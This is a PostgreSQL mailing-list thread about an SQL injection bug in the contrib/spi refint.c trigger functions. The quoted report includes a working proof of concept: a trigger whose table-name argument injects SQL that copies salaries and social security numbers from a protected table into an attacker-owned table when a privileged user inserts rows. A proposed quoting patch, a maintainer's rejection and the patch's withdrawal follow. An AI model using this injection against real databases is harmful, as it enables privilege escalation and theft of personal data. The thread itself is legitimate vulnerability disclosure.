public inbox for [email protected]
help / color / mirror / Atom feedRe: BUG #19510: refint.c: SQL injection via unquoted identifier arguments in check_primary_key and check_foreign_key
3+ messages / 2 participants
[nested] [flat]
* Re: BUG #19510: refint.c: SQL injection via unquoted identifier arguments in check_primary_key and check_foreign_key
@ 2026-06-04 23:50 Amjad Shahzad <[email protected]>
2026-06-05 00:06 ` Re: BUG #19510: refint.c: SQL injection via unquoted identifier arguments in check_primary_key and check_foreign_key Tom Lane <[email protected]>
0 siblings, 1 reply; 3+ messages in thread
From: Amjad Shahzad @ 2026-06-04 23:50 UTC (permalink / raw)
To: [email protected]; [email protected]
Hi,
Patch attached for the issue reported above.
Applies cleanly against master.
All 9 unquoted identifier sites are fixed across bothcheck_primary_key()
and check_foreign_key() usingquote_identifier().
Regards
Amjad
On Fri, Jun 5, 2026 at 4:34 AM PG Bug reporting form <[email protected]>
wrote:
> The following bug has been logged on the website:
>
> Bug reference: 19510
> Logged by: Amjad Shahzad
> Email address: [email protected]
> PostgreSQL version: 18.4
> Operating system: Ubuntu 24.04 x86_64
> Description:
>
> Both check_primary_key() and check_foreign_key() build SQL queries by
> interpolating trigger arguments (table names and column names from
> trigger->tgargs) directly into generated queries without quoting:
>
> appendStringInfo(&sql, "select 1 from %s where ", relname);
> appendStringInfo(&sql, "%s = $%d ", args[i + nkeys], i);
>
> A user who owns a table that a higher-privileged session writes to can
> place
> injected SQL inside the table-name or column-name argument of the CREATE
> TRIGGER call. When the privileged user INSERTs into the table, the injected
> SQL runs in that user's security context, giving the attacker read/write
> access to tables they cannot directly access.
>
> Note: CVE-2026-6637 (commit 260e97733bf) fixed injection of data VALUES in
> the cascade-UPDATE path via quote_literal_cstr(). This report covers the
> separate, still-open issue of unquoted IDENTIFIER arguments (relname and
> column names from tgargs) not addressed by that fix. Verified on master
> commit 0392fb900eb.
>
> Affected versions: PG14, PG15, PG16, PG17, PG18, master.
>
> ================================================================
> PREREQUISITES
> ================================================================
> - Attacker owns a table (any table they created)
> - A higher-privileged user has INSERT on that table
> - contrib/spi module installed (CREATE EXTENSION spi)
>
> ================================================================
> STEPS TO REPRODUCE
> ================================================================
> -- STEP 1: Create roles
> CREATE ROLE app_user LOGIN PASSWORD 'pass';
> CREATE ROLE attacker LOGIN PASSWORD 'pass';
>
> -- STEP 2: Create sensitive table, only app_user can read it
> CREATE TABLE salaries (
> id serial PRIMARY KEY,
> emp_name text,
> salary numeric,
> ssn text
> );
> INSERT INTO salaries VALUES
> (1, 'Alice', 120000, '123-45-6789'),
> (2, 'Bob', 95000, '987-65-4321'),
> (3, 'Carol', 150000, '456-78-9012');
> GRANT SELECT ON salaries TO app_user;
>
> -- STEP 3: Attacker creates their table and a log for stolen data
> SET ROLE attacker;
> CREATE TABLE orders (
> id serial PRIMARY KEY,
> customer_id int,
> amount numeric
> );
> CREATE TABLE stolen_data (
> info text,
> stolen_at timestamptz DEFAULT now()
> );
> GRANT INSERT ON orders TO app_user;
>
> -- STEP 4: Attacker creates malicious trigger using injected table name
> CREATE EXTENSION spi;
> CREATE TRIGGER evil_trigger
> AFTER INSERT ON orders
> FOR EACH ROW
> EXECUTE FUNCTION check_primary_key(
> 'customer_id',
> 'customers LIMIT 0; INSERT INTO stolen_data(info)
> SELECT emp_name || '' | '' || salary::text || '' | '' || ssn
> FROM salaries; --',
> 'id'
> );
> -- Result: CREATE TRIGGER (no error)
>
> -- STEP 5: app_user does normal inserts (no idea anything is wrong)
> SET ROLE app_user;
> INSERT INTO orders (customer_id, amount) VALUES (1, 500.00);
> INSERT INTO orders (customer_id, amount) VALUES (2, 300.00);
> INSERT INTO orders (customer_id, amount) VALUES (3, 750.00);
> -- Result: INSERT 0 1 (three times, looks normal)
>
> -- STEP 6: Attacker reads stolen data
> SET ROLE attacker;
> SELECT * FROM stolen_data;
>
> -- Output:
> -- info | stolen_at
> -- ------------------------------+--------------------------
> -- Alice | 120000 | 123-45-6789 | 2026-05-21 16:10:50+05
> -- Bob | 95000 | 987-65-4321 | 2026-05-21 16:10:50+05
> -- Carol | 150000 | 456-78-9012 | 2026-05-21 16:10:50+05
> -- (3 rows)
>
> -- STEP 7: Confirm attacker still has no direct access
> SELECT * FROM salaries;
> -- ERROR: permission denied for table salaries
>
> ================================================================
> THE FIX
> ================================================================
> Wrap every relname and column-name interpolation with quote_identifier():
>
> -- BEFORE
> appendStringInfo(&sql, "select 1 from %s where ", relname);
>
> -- AFTER
> appendStringInfo(&sql, "select 1 from %s where ",
> quote_identifier(relname));
>
> 9 sites total across both functions.
>
>
>
Attachments:
[application/x-patch] v1-fix-refint-identifier-injection.patch (2.7K, 3-v1-fix-refint-identifier-injection.patch)
download | inline diff:
diff --git a/contrib/spi/refint.c b/contrib/spi/refint.c
index 48512a664d2..0e7f2c033c4 100644
--- a/contrib/spi/refint.c
+++ b/contrib/spi/refint.c
@@ -179,10 +179,10 @@ check_primary_key(PG_FUNCTION_ARGS)
* Construct query: SELECT 1 FROM _referenced_relation_ WHERE Pkey1 =
* $1 [AND Pkey2 = $2 [...]]
*/
- appendStringInfo(&sql, "select 1 from %s where ", relname);
+ appendStringInfo(&sql, "select 1 from %s where ", quote_identifier(relname));
for (i = 1; i <= nkeys; i++)
{
- appendStringInfo(&sql, "%s = $%d ", args[i + nkeys], i);
+ appendStringInfo(&sql, "%s = $%d ", quote_identifier(args[i + nkeys]), i);
if (i < nkeys)
appendStringInfoString(&sql, "and ");
}
@@ -452,7 +452,7 @@ check_foreign_key(PG_FUNCTION_ARGS)
*---------
*/
if (action == 'r')
- appendStringInfo(&sql, "select 1 from %s where ", relname);
+ appendStringInfo(&sql, "select 1 from %s where ", quote_identifier(relname));
/*---------
* For 'C'ascade action we construct DELETE query
@@ -479,7 +479,7 @@ check_foreign_key(PG_FUNCTION_ARGS)
char *nv;
int k;
- appendStringInfo(&sql, "update %s set ", relname);
+ appendStringInfo(&sql, "update %s set ", quote_identifier(relname));
for (k = 1; k <= nkeys; k++)
{
fn = SPI_fnumber(tupdesc, args_temp[k - 1]);
@@ -487,7 +487,7 @@ check_foreign_key(PG_FUNCTION_ARGS)
nv = SPI_getvalue(newtuple, tupdesc, fn);
appendStringInfo(&sql, " %s = %s ",
- args2[k],
+ quote_identifier(args2[k]),
nv ? quote_literal_cstr(nv) : "NULL");
if (k < nkeys)
appendStringInfoString(&sql, ", ");
@@ -496,7 +496,7 @@ check_foreign_key(PG_FUNCTION_ARGS)
}
else
/* DELETE */
- appendStringInfo(&sql, "delete from %s where ", relname);
+ appendStringInfo(&sql, "delete from %s where ", quote_identifier(relname));
}
/*
@@ -507,10 +507,10 @@ check_foreign_key(PG_FUNCTION_ARGS)
*/
else if (action == 's')
{
- appendStringInfo(&sql, "update %s set ", relname);
+ appendStringInfo(&sql, "update %s set ", quote_identifier(relname));
for (i = 1; i <= nkeys; i++)
{
- appendStringInfo(&sql, "%s = null", args2[i]);
+ appendStringInfo(&sql, "%s = null", quote_identifier(args2[i]));
if (i < nkeys)
appendStringInfoString(&sql, ", ");
}
@@ -520,7 +520,7 @@ check_foreign_key(PG_FUNCTION_ARGS)
/* Construct WHERE qual */
for (i = 1; i <= nkeys; i++)
{
- appendStringInfo(&sql, "%s = $%d ", args2[i], i);
+ appendStringInfo(&sql, "%s = $%d ", quote_identifier(args2[i]), i);
if (i < nkeys)
appendStringInfoString(&sql, "and ");
}
^ permalink raw reply [nested|flat] 3+ messages in thread
* Re: BUG #19510: refint.c: SQL injection via unquoted identifier arguments in check_primary_key and check_foreign_key
2026-06-04 23:50 Re: BUG #19510: refint.c: SQL injection via unquoted identifier arguments in check_primary_key and check_foreign_key Amjad Shahzad <[email protected]>
@ 2026-06-05 00:06 ` Tom Lane <[email protected]>
2026-06-05 00:29 ` Re: BUG #19510: refint.c: SQL injection via unquoted identifier arguments in check_primary_key and check_foreign_key Amjad Shahzad <[email protected]>
0 siblings, 1 reply; 3+ messages in thread
From: Tom Lane @ 2026-06-05 00:06 UTC (permalink / raw)
To: Amjad Shahzad <[email protected]>; +Cc: [email protected]
Amjad Shahzad <[email protected]> writes:
> Patch attached for the issue reported above.
I don't think we can just blindly "quote_identifier" all these
strings. As an example, suppose somebody has set the relname
argument of a trigger to 'myschema.mytable'. Their code works
fine today, and is perfectly secure, and your patch would break it.
Mixed-case identifiers are another trouble spot where quoting
could change the meaning of valid code.
The pgsql-security team already discussed these issues while preparing
the recent CVEs in this area, and concluded that the only workable
path forward is to add documentation explaining that these arguments
are handled as fragments of SQL query text. So any required quoting
is up to the calling application. Fortunately, trigger arguments are
not the sort of thing that's likely to be taken blindly from untrusted
input.
regards, tom lane
^ permalink raw reply [nested|flat] 3+ messages in thread
* Re: BUG #19510: refint.c: SQL injection via unquoted identifier arguments in check_primary_key and check_foreign_key
2026-06-04 23:50 Re: BUG #19510: refint.c: SQL injection via unquoted identifier arguments in check_primary_key and check_foreign_key Amjad Shahzad <[email protected]>
2026-06-05 00:06 ` Re: BUG #19510: refint.c: SQL injection via unquoted identifier arguments in check_primary_key and check_foreign_key Tom Lane <[email protected]>
@ 2026-06-05 00:29 ` Amjad Shahzad <[email protected]>
0 siblings, 0 replies; 3+ messages in thread
From: Amjad Shahzad @ 2026-06-05 00:29 UTC (permalink / raw)
To: Tom Lane <[email protected]>; +Cc: [email protected]
Hi Tom,
Thank you for the detailed review and for explaining the security team's
earlier discussion.
You're absolutely right, I missed the schema-qualified name case.
quote_identifier('myschema.mytable') would produce "myschema.mytable"
treating the dot as part of the identifier, which would silently break
existing valid triggers. That's a real regression, and I withdrew the patch.
Understood that the security team's position is documentation rather than a
code fix given these constraints. Thanks again for taking the
time to explain the reasoning.
Regards,
Amjad
On Fri, Jun 5, 2026 at 5:06 AM Tom Lane <[email protected]> wrote:
> Amjad Shahzad <[email protected]> writes:
> > Patch attached for the issue reported above.
>
> I don't think we can just blindly "quote_identifier" all these
> strings. As an example, suppose somebody has set the relname
> argument of a trigger to 'myschema.mytable'. Their code works
> fine today, and is perfectly secure, and your patch would break it.
> Mixed-case identifiers are another trouble spot where quoting
> could change the meaning of valid code.
>
> The pgsql-security team already discussed these issues while preparing
> the recent CVEs in this area, and concluded that the only workable
> path forward is to add documentation explaining that these arguments
> are handled as fragments of SQL query text. So any required quoting
> is up to the calling application. Fortunately, trigger arguments are
> not the sort of thing that's likely to be taken blindly from untrusted
> input.
>
> regards, tom lane
>
^ permalink raw reply [nested|flat] 3+ messages in thread
end of thread, other threads:[~2026-06-05 00:29 UTC | newest]
Thread overview: 3+ messages (download: mbox mbox.gz follow: Atom feed)
-- links below jump to the message on this page --
2026-06-04 23:50 Re: BUG #19510: refint.c: SQL injection via unquoted identifier arguments in check_primary_key and check_foreign_key Amjad Shahzad <[email protected]>
2026-06-05 00:06 ` Tom Lane <[email protected]>
2026-06-05 00:29 ` Amjad Shahzad <[email protected]>
This inbox is served by agora; see mirroring instructions
for how to clone and mirror all data and code used for this inbox